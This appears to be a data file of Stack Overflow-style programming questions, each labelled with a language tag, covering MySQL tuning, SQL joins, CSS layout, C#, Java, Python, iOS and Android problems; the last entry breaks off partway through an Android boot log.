mysql  innodb settings for faster execution of query  i have 4 large table and im trying to execute sql query on it. the query is taking much time to execute so   i want to reduce the execution time for better performance and i m struggling with this so i need help    i m using mysql 5.7.8 in linux os  12 gb ram    *this is my.cnf config * my.cnf file   <pre><code> [mysqld]     innodb_buffer_pool_size=10g      innodb_log_buffer_size=2g     innodb_buffer_pool_instances=16     innodb_thread_concurrency=0     innodb_flush_log_at_trx_commit=0     sync_binlog=0     innodb_flush_method=o_direct     skip_name_resolve     innodb_io_capacity=1000     innodb_io_capacity_max=3000     innodb_buffer_pool_dump_at_shutdown=on     innodb_buffer_pool_load_at_startup=on     query_cache_type = 1     query_cache_size = 256m     innodb_read_io_threads=8     innodb_write_io_threads=4 </code></pre>,mysql
calling methods at runtime  what is used to call methods at runtime      can either one work a> delegate b> reflection api,.net
if condition left join false  how to make it null instead of skip it   if condition left join false  how to make it null instead of skip it  this is part of code:   <pre><code>select     c.name      p.name  from category c left join productcategory pc on c.categoryid = pc.categoryid left join product p on pc.productid = p.productid where pc.productid = 17; </code></pre>   result must be:   <pre><code>firstcategory seventeenproduct secondcategory seventeenproduct thirdcategory null fourthcategory seventeenproduct </code></pre>   and so on,sql
formulate sql query  iam new to sql and i have to create sql statement to select from following tables:   <pre><code>studenttable (studentid  firstname  lastname)  enrollmenttable (studentid  courseid  semester  year  grade)  </code></pre>   (studentid and courseid are foreign keys)   <pre><code>coursetable (courseid  semester  year  name)  prereqtable (courseid  prereqid) </code></pre>   i have to select students that enrolled course but don t have fulfilled all prereq.    edit:    after a while i got the right solution. the key was to use multiple selects and it worked like a charm.,sql
"elements break line when sum of widths equal 100%  i m trying put a <code>input</code> and a <code>button</code> display inline  where <code>input</code> need fill 70% of row  and <code>button</code> 30%    so  i set css 70% and 30% to elements  but elements will break line    how to can i fix this problem     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>* {
   margin: 0px;
 }
 
 input {
   width: 70%;
 }
 
 button {
   width: 30%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div&gt;
   &lt;input type= text  /&gt;
   &lt;button&gt;button&lt;/button&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
display data in div from bottom to top in chat box  i have a chat message fetch data out and place in div   <pre><code>order by message_id desc limit 10 </code></pre>   datas fetch out desc and limit 10 and use while loop out put all data.    the data is from top to bottom now.    however i need the data display from bottom to top    so the update message will display at bottom.,css
how to open other form after web fullyloaded c#  how to wait for web page fully loaded then open/create new form2 with webbrowser navigate to another page    i m trying by checking using igetattribut on loaded site on form 1 but not working because checking is running before web fully loaded   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms;  namespace bot {     public partial class form1 : form     {         public form1()         {             initializecomponent();         }          private void form1_load(object sender  eventargs e)         {             webbmain.navigate( http://asia1.darkorbit.com/ );         }          private void btnlogin_click(object sender  eventargs e)         {             var inputelements = webbmain.document.getelementsbytagname( input );             foreach (htmlelement i in inputelements)             {                 if (i.getattribute( name ).equals( username ))                 {                     i.innertext = txtusername.text;                 }                 if (i.getattribute( name ).equals( password ))                 {                     i.focus();                     i.innertext = txtpassword.text;                 }             }              var buttonelements = webbmain.document.getelementsbytagname( input );             foreach (htmlelement b in inputelements)             {                 if (b.getattribute( classname ).equals( bgcdw_button bgcdw_login_form_login ))                 {                     b.invokemember( click );                 }              }          }     } } </code></pre>,c#
how to raise modal view from tab bar button  i m using this:    <a href= https://github.com/boctor/idev-recipes/tree/master/raisedcentertabbar  rel= nofollow >https://github.com/boctor/idev-recipes/tree/master/raisedcentertabbar</a>    anyone know how to get a modal view raised from say..the camera button (if the camera button were to be used for something else other than the camera),ios
python. merge columns from different pd tables  there`re two pandas tables: production and sales  which contains columns  date    volume  and other. i need to get a separate table  which contains only columns  date    volume production    volume sales .     <a href= https://i.stack.imgur.com/rmzrk.png  rel= nofollow noreferrer >enter image description here</a>,python
static initialization in objective c  i have a class that is used to store other class  instance objects. the class has the following class method that is called whenever i need to get the class itself (and to its data structure that stores other class  instances  to its methods that operate on the data structure):   <pre><code>+ (instancetype)sharedstore { static bnritemstore *sharedstore = nil;  //do i need to create a sharedstore  if (!sharedstore) {     sharedstore = [[self alloc] initprivate]; }  return sharedstore; } </code></pre>   the line <code>static bnritemstore *sharedstore = nil;</code> is very confusing to me. the first time the class method is called  we declare <code>static bnritemstore *sharedstore</code> and set it to <code>nil</code>. i do not understand why if we call the method second time  <code>sharedstore</code> is not overwritten and/or deallocated. apparently  this never happens and all the subsequent calls to the <code>+ (instancetype)sharedstore()</code> method seem like completely ignore the line <code>static bnritemstore *sharedstore = nil;</code>. why is that,objective-c
is there a service for testing iphone applications on different types of devices   i have developed an iphone app using an iphone 3g. how can i test it on iphone 3gs  ipad  etc.  is there a service online that lets me access a 3gs or ipad remotely,iphone
edittext and tab issue  in my application  i m creating dynamic tabs.inside framelayout i ve created a edittext.for  each tab i create content of tab will be edittext. when i type in editext of one tab and later if i create a new tab  and when i switch between these tabs  it shows the content of editext as empty.   <h3>update:</h3>   i don t want to create a separate activity for each tab.i l explain along with the code.   <pre><code>public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.main);     final tabhost tabs = (tabhost)this.findviewbyid(r.id.tabs);       tabs.setup();         tabhost.tabspec spec1=tabs.newtabspec(f);    spec1.setcontent(r.id.content1);    spec1.setindicator(f); tabs.addtab(spec1); tabs.setcurrenttab(i); list.add(spec1);   i++;     addbtn.setonclicklistener(new onclicklistener() {     @override    public void onclick(view arg0)    {           final tabhost tabs = (tabhost)this.findviewbyid(r.id.tabs);       tabs.setup();           tabhost.tabspec spec1=tabs.newtabspec(f);      spec1.setcontent(r.id.content1);      spec1.setindicator(f);     tabs.addtab(spec1);     tabs.setcurrenttab(i);     list.add(spec1);       i++;     }); </code></pre>   default one tab will be there. here content of tab is edittext. when i click on button new tab will be created. problem is with the content of tab. in default tab if i type in edittext  and create a new tab and switch to the default tab the content of default would be lost.,android
in html  is there a way to find out if a particular string is variable   let s say i m looking at a webpage that has a title including the year  such as  stackoverflow 2016 . is there a way  by inspecting the page source  to find out is this string is variable (function automatically updates it every year)  or if it is a hardcoded string,html
calling subclass method from contructor of superclass  how can i call subclass method from superclass constructor     example subclass:   <pre><code>&lt; php include( ../classes/a.php );  class b extends a {      public function __construct()     {         parent::__construct($this-&gt;view);     }     public function view() {         //something     } }  $b = new b;   &gt; </code></pre>   example superclass:   <pre><code>&lt; php abstract class a {     private $callback;      public function __construct($callback)     {         $this-&gt;callback = $callback;          call_user_func($this-&gt;callback);     }    }  &gt; </code></pre>   what can i do to make it works,php
passing value to ajaxform data  i want to pass the value of the variable to ajaxform data.   <pre><code>value1 =  dynamic_value1 ; value2 =  dynamic_value2 ; $( form ).ajaxform({     data: {       key1: value1         key2: value2      } }); </code></pre>   expecting something like:   <pre><code>date:{key1: dynamic_value1   key2: dynamic_value2 } </code></pre>   so in php i can access like   <pre><code>echo $_post[ key1 ]; </code></pre>   ====================== complete script   <pre><code>&lt;script src= ../../bin/addons/jquery-1.7.2.js &gt;&lt;/script&gt; &lt;script src= ../../bin/addons/jquery.form.js &gt;&lt;/script&gt; &lt;script&gt; // jquery form-plugin  (function() {   var value1 =  dynamic_value1 ;   var value2 =  dynamic_value2 ;   $( .dummyform1 ).ajaxform({     data:{       key1: value1        key2: value2   }   complete: function(xhr) {       txt = xhr.responsetext;       alert(txt);   } });  })();  &lt;/script&gt;  &lt;form class= dummyform1  action= form-php.php  method= post &gt;     &lt;input type= submit  value= hit!  /&gt; &lt;/form&gt; </code></pre>   form-php.php   <pre><code>&lt;    echo  key1 value: . $_post[ key1 ];  &gt; </code></pre>,jquery
how to find word in text   i have to find if word is present in text.i have to do <code>fps</code> present in <code>ps 18 26888 12345</code>. in this it should detect ps though <code> f </code> is not present in <code> ps 18 26888 12345 </code>. i have tried    <pre><code>if  fps  in  ps 18 26888 12345 :     --executing following code </code></pre>   thank you.,python
python script page is showing blank   i have completely unknown in python. i have no idea about this script. now i am just starting python code in my server.    i am getting blank page of my code    please check my code below:   <pre><code>#!/usr/local/bin/python print  content-type: text/html  print  hello  python!  </code></pre>,python
how to search for words starting with or contained within a certain word  i am trying to see if <code>foo</code> contains  inactive  or if the user is trying to type portions of the word  inactive .     <strong>is there a simpler way to achieve this </strong>   <pre><code>if (foo.equals( inactive ) || foo.equals( inactiv )                 || foo.equals( inacti ) || foo.equals( inact )                 || foo.equals( inac ) || fofoo.equals( ina )                 || foo.equals( in ) || foo.equals( nactive )                 || foo.equals( nactiv ) || foo.equals( nacti )                 || foo.equals( nact ) || foo.equals( nac )                 || foo.equals( na ) || foo.equals( n )) { </code></pre>,java
how to print two different dictionaries on the same line using python   i have a problem i don t know how to print two dictionary on the same line.    i have:    <pre><code>fantasy = { gotham :[city  2000]   smallville :[town  40]   nuketown :[town 60]} real = { london :[city  1500]   whitby :[town  40]   liverpool :[city  1000]} </code></pre>   i ve tried this (pass):   <pre><code>listfantasy = dictlist(fantasy) listreal = dictlist(real)     def dictlist (dict):        list = []          for key  value in dict_.iteritems(): # create list form dict             temp = [key value]             lista_finale.append(temp)        return list  for list1  list2 in zip(listfantasy  listreal):         print list1[0]         for listvalue1  listvalue2 in zip(list1[1:] list2[1:]):             listvalue1.sort(key = lambda x: x[1]  reverse = true)             listvalue2.sort(key = lambda x: x[1]  reverse = true)             for value1  value2 in zip(listvalue1  listvalue2):                 print   \n %-10s \t %-10s  % (valore1[0]  valore1[1])  \t\t\t\t %-10s \t %-10s  % (valore2[0]  valore2[1]) </code></pre>   output:   <pre><code>gotham           london     city 2000        city 1500         nuketow        liverpool    town 60          city 1000 smallville     whitby    town 40          town 40 </code></pre>   but this solution is very slow  it takes me about 30 seconds  i need to know how to directly print the two dictionaries online in the same way  without serious waste of time on the code execution.,python
random number generated from file input  i am new to programming in c# and i m having problems generating random numbers from input read form a file. i am trying to generate random numbers from the second field on each line from the following input read from a text file   <pre><code>4321 99 5432 79 6543 59 7654 39 </code></pre>   the file is read by the following code  then parsed into separate fields where a method is called to generate a random number   <pre><code>    private void readfilebutton_click(object sender  eventargs e)     {         string readstring;         inputfile = file.opentext(sourcefilestring);          while (!inputfile.endofstream)         {             readstring = inputfile.readline();             var flds = readstring.split(   );              string patid = flds[0];             int months = convert.toint32(flds[1]);              random();         }         inputfile.close();     } </code></pre>   the method i am using that generates a random number from the second field   <pre><code>    private void random()     {         random rand2integer = new random();         randominteger = rand2integer.next(1  months) + 1;     } </code></pre>   however  this exception is thrown:  minvalue  cannot be greater than maxvalue  and i can t wrap my head around it. if i manually enter the data on a form using a text box then the random number is generated as expected. any input to guide me along,c#
java programming - divisibility and counting   i am a student trying to learn programming on my own  getting help from online sources and people like you. i found an exercise online to create a small program that will do this:    <em>write a program that will read the numbers a and b (type long) and list how many numbers between a and b are divisible by either 2  3 or 5.</em>    <strong>for example:</strong>    <code>a=11</code> <code>b=30</code> the counter would be <code>14</code>  since there are <code>14</code> numbers divisible by <code>2</code> <code>3</code> or <code>5</code> in between:  <code>12  14  15  16  18  20  21  22  24 25  26  27  28  30</code>    this is what i have already tried  but it doesn t seem to work. i would need your guidance and help to finish this. thank you for your time and your hard work in advance.   <pre><code>import java.util.scanner;  public class v {     public static void main(string[] args) {         scanner sc = new scanner(system.in);          long a = sc.nextlong();         long b = sc.nextlong();          for (long c = a; c &lt;= b; c++) {             if (c%2 || c%3 || c%5) {                 system.out.println(c);             }         }     } } </code></pre>   <strong><em>current stage of the program:</em></strong>   <pre><code>import java.util.scanner;  public class test2 {     public static void main(string args[]) {     scanner sc = new scanner(system.in);      long a = sc.nextlong();     long b = sc.nextlong();      long count = 0; // counter      for (long c = a; c &lt;= b; c++) {         if (c % 2 == 0 || c % 3 == 0 || c % 5 == 0) {             count++;             system.out.println(c);             }          }     }  } </code></pre>   there is still a thing to do:    now it lists me the numbers which are divisible by 2 3 or 5. but all i need is one single number that will count how many numbers there is.,java
retrieve displayname attribute from class  so i have this code in a test   <pre><code>[testmethod] public void getclassdisplayname() {     string displayname = displaynamehelper.getdisplayname&lt;applicantinfojob&gt;();      assert.areequal(displayname   applicant_info_job );  } </code></pre>   and this code in a helper class     <pre><code> public static string getdisplayname&lt;t&gt;()  {      var displayname = (displaynameattribute)typeof(t).getcustomattributes(typeof(displaynameattribute)  true).firstordefault();       if (displayname != null)          return displayname.displayname;      return   ;  } </code></pre>   but the displayname is always null then using typeof(t) but works fine if i change it to   <pre><code>var displayname = (displaynameattribute)typeof(applicantinfojob).getcustomattributes(typeof(displaynameattribute)  true).firstordefault();` </code></pre>   i m not sure why the type is not working. anyone have any ideas     class signature:   <pre><code>[displayname( applicant_info_job )] public class applicantinfojob : requireddatesbaseentity { } </code></pre>,c#
"how to get div with responsive images to be no non responsive but fluid   i want to make a layout that shrinks with resizing  with responsive image  but not to stack  i want divs to stay side by side but images to shrink.    this is so simple i can t really find my answer!    i am using boostrap also with drupal  so need to overide the xs-* ect classes.<a href= https://i.stack.imgur.com/jxwnx.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jxwnx.png  alt= enter image description here ></a>    the image below shows what i mean    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;p&gt;
   &lt;img alt=   src= http://placehold.it/300/300  style= width: 0 auto; max-width: 50%; margin-right:5px;  /&gt;
   &lt;img alt=   src= http://placehold.it/300/300  style= width: 0 auto; max-width: 50%; margin-right:5px;  /&gt;
 &lt;/p&gt;</code></pre>
 </div>
 </div>",css
custom class with recursion in methods  global name not defined  i m trying to implement a method for which is necessary to use recursion  but every time  i get the <code>global name not defined</code> error my class look like this:   <pre><code>class myclass(object):     def _init_(self  name=none  content=none):         self.name = name         self.content = content </code></pre>   it s a node class  name it s just a text string and content a list of it s children (they are nodes too)  is initialized as <code>none</code> but the construction function that builds the tree give them a blank list if they have no children. the class works fine and so does the function but if i try to add recurtion to methods they just don t work  even if they work just fine as a standalone function  i.e.:   <pre><code>def get_nodes(self):     c = []      c.append(self.name)     if self.content != []:         for a in self.content:             c.extend(get_nodes(a))     return c </code></pre>   i know this is possible  what am i doing wrong,python
how to return a mysql record when value between 2 column values   we have 3 particular columns ordertotalfrom and ordertotalto and shippingprice. we are trying to determine if a price falls between the 2 column values. for example  assume we have an order that is 250.0000  we would want to return the row with a shipping price of 0.0000   <pre><code>ordertotalfrom ordertotalto   shippingprice 0.0000         19.9900        6.9500 20.0000        39.9900        7.9500 40.0000        59.9900        8.9500 60.0000        74.9900        9.9500 75.0000        999999.0000    0.0000 </code></pre>   could please show me how this is done in mysql,mysql
what is the commonly used practice with getters for member fields   i am currently trying to learn myself into c++  and as a c#-enthusiast  i always love to use getters and setters. however  i am a bit unsure about the usage in c++.    for my example  i want to create a todo-list application in c++ with the mvc design pattern. for the entries i have  i want to use a <code>std::vector</code> which holds container classes  containing all the related values to an entry.    currently  this vector is stored in my model. when a click on my button happens  i am now redirecting the call to a method which determines the call  and calls a method in a eventhandler-class. this call contains needed data out of the ui  and now i also want to obtain my vector out of the model  so i can pass it to the eventhandler as a reference.    right now  i am using a getter which gets a reference from the member vector like this:    header:   <pre><code>public:     std::vector&lt;todoentry&gt;&amp; gettodoentries();  private:     std::vector&lt;todoentry&gt; m_todoentries; </code></pre>   cpp:   <pre><code>std::vector&lt;todoentry&gt;&amp; uimodel::gettodoentries() {     return m_todoentries; } </code></pre>   is this the correct way of doing this in c++  i am not quite sure  so i d rather ask here.,c++
best approach to display the image after it is loaded  currently i see there are two ways we can show the image after it is loaded.    <strong>first approach</strong>   <pre><code>&lt;img id= myimage  /&gt;  var img = new image()      x = document.getelementbyid( myimage );  img.onload = function() {    x.src = img.src; };  img.src =  http://somedomain/image.jpg ; </code></pre>   <strong>second approach</strong>   <pre><code>&lt;img id= myimage  src= http://somedomain/image.jpg  style= display:none  onload= showimage();  /&gt;  function showimage() {   document.getelementbyid( myimage ).style.display =  block ; } </code></pre>   i m little confused which one is the better approach  in some examples i found online they uses the first approach but i see the second approach is very simple. is there any drawbacks exist in the second approach,javascript
force function to accept specific definitions only   i would like to force a functions parameters to accept only specific definitions. for example  consider <code>#define output 1</code>  <code>#define input 0</code> and <code>void restrictedfunction(int parameter);</code> .     how would i force <code>restrictedfunction(int parameter)</code> to accept only <code>output</code> or <code>input</code>     i would also like to take into consideration that another definition may have the same value  for example  <code>#define left 1</code> and <code>#define right 0</code>.    so in this case i would like <code>restrictedfunction(int parameter)</code> to be able to accept only <code>output</code> and <code>input</code> specifically.,c
uiactivityindicator question  the apple documentation made this seem like it was pretty easy but it s not working.  my code is:   <pre><code> uiactivityindicatorview *activity = [[uiactivityindicatorview alloc]initwithactivityindicatorstyle:uiactivityindicatorviewstylewhitelarge];   [activity startanimating];   asiformdatarequest *request = [asiformdatarequest requestwithurl:[nsurl urlwithstring:@ http://www.myserver.com ]];   [request setpostvalue:name forkey:@ key ];   [request startsynchronous];      nslog(@ %@  [request responsestring]);   [activity stopanimating];  [activity release]; </code></pre>   i didn t set anything up in uibuilder because frankly  i don t understand exactly how it works with the uiactivityindicator.  building and running the app with the code i have above doesnt send off any warning indicators and runs just fine but i am not seeing the activity indicator.,iphone
analysing the jquery source  i have found two sets of videos that analyse the jquery source code:    julian bucknall: <a href= http://www.youtube.com/watch v=qemfez_ufzc  rel= nofollow >here</a> and <a href= http://www.youtube.com/watch v=qemfez_ufzc  rel= nofollow >here</a>    paul irish: <a href= http://paulirish.com/2010/10-things-i-learned-from-the-jquery-source/  rel= nofollow >here</a> and <a href= http://paulirish.com/2011/11-more-things-i-learned-from-the-jquery-source/  rel= nofollow >here</a>    are there any other available ressources that guide through the jquery source,jquery
declaring a data type dynamically in c++  i want to be able to do the following:    i have an array of strings that contain data types:   <pre><code>string datatypevalues[20] = { char    unsigned char    short    int }; </code></pre>   then later  i would like to create a variable of one of the data types at runtime.  i won t know at compile time what the correct data type should be.    so for example  if at runtime i determined a variable x needed to be of type int:   <pre><code>datatypevalues[3] x = 100; </code></pre>   obviously this won t work  so how could i do something like this,c++
convert string into array in java  below is my java code. i m passing a csv file and reading the record. i want to split the records by     and store it into an array. i don t know how to do that. if someone can give me idea about that. i m pretty new to java.   <pre><code>import java.io.bufferedreader; import java.io.file; import java.io.filereader; import java.io.ioexception;  public class parser  {     public static void main(string[] args) throws ioexception      {         filereader filereader = new filereader(new file( //users//desktop//npi.csv ));         bufferedreader br = new bufferedreader(filereader);         string line = null;         //string[] value = line.split(   );          /*arraylist list = new arraylist(arrays.aslist(line));         system.out.println(list);*/         int count = 0;         while((line = br.readline()) != null)         {             for(int i=0; i &lt; line.length();i++)             {              }             count ++;             system.out.println( record count :  +count);             system.out.println(line);         }      } } </code></pre>   an example of string from the csv file   <blockquote>     1234567   1            ali   donaldson      dr.      o.d.                              140-6002 sit rd   ste   a   evansville   in   8418996408   us   6013857469   9586771232   140-6002 sit rd   suite   a   evansville   in   770155917   us   6969551228   2403884068   04/13/2003   02/21/2018            m                  142k01234z   5376ud   in   y                                                                                                                                                                           980230944   03   in      wr09447   01   in      12532t   02   in   group   245699532   08   in      3hdpto   09   in   individual                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               x                                                                  </blockquote>,java
how to tell mysql to scan just recent one million rows  i have a myisam table with 15 000 000 rows  my current query is like this:    <pre><code>select id  match(title) against( $searchterm  in boolean mode) as score  from news  where match(title) against( $searchterm  in boolean mode)  order by score desc  id desc  limit 25 </code></pre>   how can i create a query to tell mysql to scan just recent one million rows (not whole table),mysql
upload current date and time into mysql  i need to post current time and date into database using android.i have tried with volley but shows null pointer exception in requestqueue. if there is any other method to post please help me out.   <pre><code>public class mainactivity extends appcompatactivity { private textview time1 date1; public static final string register_url_date =   http://192.168.0.102/date.php ;  public static string key_date= date  key_time= time  date time; context context; @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);     time1=(textview)findviewbyid(r.id.textview);     date1=(textview)findviewbyid(r.id.textview2);     dateformat dfdate = new simpledateformat( dd/mm/yyyy );      date=dfdate.format(calendar.getinstance().gettime());     dateformat dftime = new simpledateformat( hh:mm );      time = dftime.format(calendar.getinstance().gettime());   time1.settext(time);     date1.settext(date);     stringrequest stringrequest = new stringrequest(request.method.post  register_url_date              new response.listener&lt;string&gt;() {                 @override                 public void onresponse(string response) {                     toast.maketext(mainactivity.this  response  toast.length_long).show();                 }             }              new response.errorlistener() {                 @override                 public void onerrorresponse(volleyerror error) {                     toast.maketext(mainactivity.this  (charsequence) error  toast.length_long).show();                  }             }) {         @override         protected map&lt;string  string&gt; getparams() {             map&lt;string  string&gt; params = new hashmap&lt;string  string&gt;();             params.put(key_date  date);             params.put(key_time time);             return params;         }      };      requestqueue requestqueue = volley.newrequestqueue(context);     requestqueue.add(stringrequest); }  } </code></pre>,android
create process that survives creator process  is there a way to create a process from a java application  that can can survive the creator process      i use processbuilder to create child processes in my application  but i can t see a way to configure the process to survive the shutdown of my  main  application.,java
angular http cache when two controllers run simultaneously  in my web page i have two controllers  each making an http request <strong>of the same url</strong>. the first controller takes fielda from the response  and the second controller takes fieldb.     given that the response is cached  will the second method invoked wait until the first one finishes and get the cache  or both http requests will be made because they are made simultaneously     in controller 1:   <pre><code>        var msg = {};         var promise = $http.get( /someurl   msg  { cache: true } );         promise.then(             function(response) {                 fielda = response.fielda;             }         ); </code></pre>   in controller 2:   <pre><code>        var msg = {};         var promise = $http.get( /someurl   msg  { cache: true } );         promise.then(             function(response) {                 fieldb = response.fieldb;             }         ); </code></pre>,angularjs
how to replace unicode line separator   i have an html string with some unicode line separators in it. (hex values e2 80 a8)   <pre><code>nsrange range = (nsrange){0 [htmlstring length]}; [htmlstring replaceoccurrencesofstring:@ \r  withstring:@ &lt;br&gt;  options:nscaseinsensitivesearch range:range]; </code></pre>   how can i replace occurrences of this  the above code doesn t work.,objective-c
how to communicate from iframe page with its hosting page   in my web page i have an iframe that displays another page. i want to pass some parameters from the iframe to the host page.    can it be done,asp.net
i have a great segue but want to change it s trigger  in this post  i first state my problem then i state how i figured out to solve it. i want to know if this is the best or  correct  way to have solved it or if there is a more round about way that i overlooked. thanks!    1.) i have a segue constructed that takes a uibutton touchupinside and creates a subclass of uitableviewcontroller with custom cells etc..... also i like how it uses  form sheet  presentation on the ipad version. that looks great. i have all the code written to dismiss the table view as well.     it turns out it would be a whole lot better to bring this tableview up from a double tap on one of my uiview and get rid of the uibutton that currently triggers the segue.     problem though  i don t see any way to do that with the storyboard ide. i like the segues and don t want to mix nib loading into this app.    2.) my solution was to delete the uibutton (which also unfortunately deletes the segue). no problem  just re-create it but with the uibutton s parent viewcontroller as the source. highlight the segue and give it an identifier. this is how we ll trigger the segue programmatically.     now in the double-tap detection i call:    [self performseguewithidentifier:@ segue_mytableviewcontroller  sender:self];,objective-c
why are table aliases commonly lowercase   i always see examples this way  but why   is this good practice,sql
insert on duplicate update with select  i have <code>tablea</code> that stores information about users  lets assume there is one user (<code>usera</code>) saved in the table already  and i want to create a second one (<code>userb</code>) copying the data that <code>usera</code> has.    i will do something like this:   <pre><code>insert into tablea (userid  switch  platetype  groupval  brokeage)   select  userb   switch  platetype  groupval  brokeage   from tablea    where userid =  usera ; </code></pre>   and that is ok.    now sometimes i have to read the data <code>usera</code> has  and update <code>userb</code> with it  but need to do it in the same query above  so i need to use on duplicate key.    i have written this but it is not working  i ve been researching but can t find the answer i need:   <pre><code>insert into tablea (userid  switch  platetype  groupval  brokeage)   select  userb   switch  platetype  groupval  brokeage   from tablea   where userid =  usera  on duplicate key   update tablea brokeage = (select brokeage                             from tablea                             where userid =  usera )   where userid =  userb ; </code></pre>   if anyone can see what is wrong with this  i will appreciate the help.,mysql
comparison between flexrule and express it - bre  can anyone provide me comparison between flexrule and express it - bre.  and which is better for implementation and why     thanks in advance.,.net
random crash using a  for  loop  i ve just picked up c++ and i ve just finished a little bit of code for an excersise. the problem is  this code runs indefinitely. could one of you explain why  the idea is to produce a table of characters and their corresponding integers  this for a-z  a-z  and 1-100.   <pre><code>#include  std_lib_facilities.h   int main() {      for (char table_value_lower =  a ; table_value_lower &lt;=  z ; ++table_value_lower)         cout &lt;&lt; table_value_lower &lt;&lt;  \t  &lt;&lt; int(table_value_lower) &lt;&lt;  \n ;     for (char table_value_upper =  a ; table_value_upper &lt;=  z ; ++table_value_upper)         cout &lt;&lt; table_value_upper &lt;&lt;  \t  &lt;&lt; int(table_value_upper) &lt;&lt;  \n ;     for (char table_value_integer =  0 ; table_value_integer &lt;=  100 ; ++table_value_integer)         cout &lt;&lt; table_value_integer &lt;&lt;  \t  &lt;&lt; int(table_value_integer) &lt;&lt;  \n ;  } </code></pre>,c++
i wrote an sql select statement that returns the entire table data rather then just the results that match my search  i have the following code that runs on a button click:   <pre><code>protected void button2_click(object sender  eventargs e)         {             string str =  select *   +                  from concernticket inner join employee   +                  on concernticket.employeereportedtoid = employee.employeeid   +                  where (employee.firstname like  %  + @search2 +  % ) ;             sqlcommand xp = new sqlcommand(str  vid);            xp.parameters.add( @search2   sqldbtype.nvarchar).value =             textbox1.text;              vid.open();             xp.executenonquery();             sqldataadapter da = new sqldataadapter();             da.selectcommand = xp;             dataset ds = new dataset();             da.fill(ds   employee.firstname );             gridview2.datasource = ds;             gridview2.databind();             vid.close();     } </code></pre>   the problem i am facing is that the search runs with no errors but instead of just returning the results where the firstname variable matches  it displays all current concern tickets. i am assuming it is a fairly simple fix with the select statement  but for some reason i have not been able to figure out what is going wrong. i just started working with sql so i apologize that i am having such a silly issue  any help would be appreciated  thanks!,sql
can i log in to my site from my iphone app   i m trying to make a log in or sign up feature for my web site in my iphone app. my website is a content management system  and like any other cms  it has log in and registration features. it also has permmissions  dependent on the user account. i think i would have to use <code>uiwebview</code> for this.     are there any examples or tutorials i can examine,iphone
jquery get the image src  i hope when i click the button  i can get the specific img src and show the img src in the div class <code>img-block</code> block.    <strong>html</strong>   <pre><code>&lt;button class= button &gt;click&lt;/button&gt; &lt;div class= img1 &gt;     &lt;img src= img.jpg  alt=  &gt; &lt;/div&gt;  &lt;div class= img-block &gt;&lt;/div&gt; </code></pre>   <strong>css</strong>   <pre><code>.img-block{     position: absolute;     top:10%;     right:10%;     background-color: red;     width: 500px;     height: 500px; } .img1 img{     width: 200px; } </code></pre>   <strong>js</strong>   <pre><code>$( .button ).click(function(){   var images = $( .img1 img ).attr(src);   alert(images);       }); </code></pre>   but now i face the problem is to get the img src.<br> so i use alert to make the test  the result is it alert nothing.,jquery
not able to flash aosp 5.0.1 to nexus 4 (lg device)  i downloaded lollipop code and build it    <pre><code>$ repo init -u https://android.googlesource.com/platform/manifest -b android-5.0.1_r1 $ repo sync </code></pre>   also downloaded drivers from <a href= https://developers.google.com/android/nexus/drivers#makolrx22c  rel= nofollow >https://developers.google.com/android/nexus/drivers#makolrx22c</a> extracted and its part of vendor folder.  then below commands i gave build the binaries (is t part of  /out/target/product/mako)   <pre><code>$ lunch aosp_mako-eng $ make </code></pre>   later i flashed    <pre><code>fastboot flash boot boot.img fastboot flash recovery recovery.img fastboot flash system system.img fastboot flash userdata userdata.img  fastboot flash cache cahche.img </code></pre>   now i am facing problem: phone is stuck at android logo without any progress      below is the log: --------- beginning of main   <pre><code>i/kickstart-qcks(    0): parameter values  w/auditd  (  163): type=2000 audit(0.0:1): initialized  i/auditd  (  163): type=1403 audit(0.0:2): policy loaded auid=4294967295 ses=4294967295  w/auditd  (  163): type=1404 audit(0.0:3): enforcing=1 old_enforcing=0 auid=4294967295 ses=4294967295  i/kickstart-qcks(    0): comport_dload=/dev/ttyhsl1  i/kickstart-qcks(    0): comport_sahara=/dev/ks_hsic_bridge  i/kickstart-qcks(    0): pathtoimages=/firmware/image/  i/kickstart-qcks(    0): pathforramdump=/data/tombstones/mdm/  i/kickstart-qcks(    0): efsraw1=/dev/block/platform/msm_sdcc.1/by-name/m9kefs1  i/kickstart-qcks(    0): efsraw2=/dev/block/platform/msm_sdcc.1/by-name/m9kefs2  i/kickstart-qcks(    0): efsraw3=/dev/block/platform/msm_sdcc.1/by-name/m9kefs3  i/kickstart-qcks(    0): header1=efs1.mbn  i/kickstart-qcks(    0): header2=efs2.mbn  i/kickstart-qcks(    0): header3=efs3.mbn  i/kickstart-qcks(    0): testing if port  /dev/mdm  exists  i/kickstart-qcks(    0): trying to bring mdm9k out of reset  i/lowmemorykiller(  165): using in-kernel low memory killer interface  e/rmt_storage(  169): remote storage service is not supported on mdm target  d/qseecomd: (  171): qseecom listener services process entry ppid = 1  d/qseecomd: (  171): parent qseecom daemon process paused!!   d/qseecomd: (  189): qseecom daemon running   d/qseecomd: (  189): qseecom listener service threads starting!!!   d/qseecomd: (  189): total listener services to start = 2  d/qseecomd: (  189): init dlopen(libdrmtime.so  rtld_now) succeeds  d/qseecomd: (  189): init::init dlsym(g_fshandle atime_start) succeeds  d/qseecomapi: (  189): qseecom_register_listener 11 sb_length = 0x5000  d/qseecomd: (  189): init atime_start ret = 0  d/qseecomd: (  189): time services: started  d/qseecomd: (  189): init dlopen(libdrmfs.so  rtld_now) succeeds  d/qseecomd: (  189): init::init dlsym(g_fshandle fs_start) succeeds  d/qseecomapi: (  189): qseecom_register_listener 10 sb_length = 0x5000  d/qseecomd: (  189): init fs_start ret = 0  d/qseecomd: (  189): file system services: started  --------- beginning of system  i/vold    (  167): vold 2.1 (the revenge) firing up  i/surfaceflinger(  168): surfaceflinger is starting  i/surfaceflinger(  168): surfaceflinger 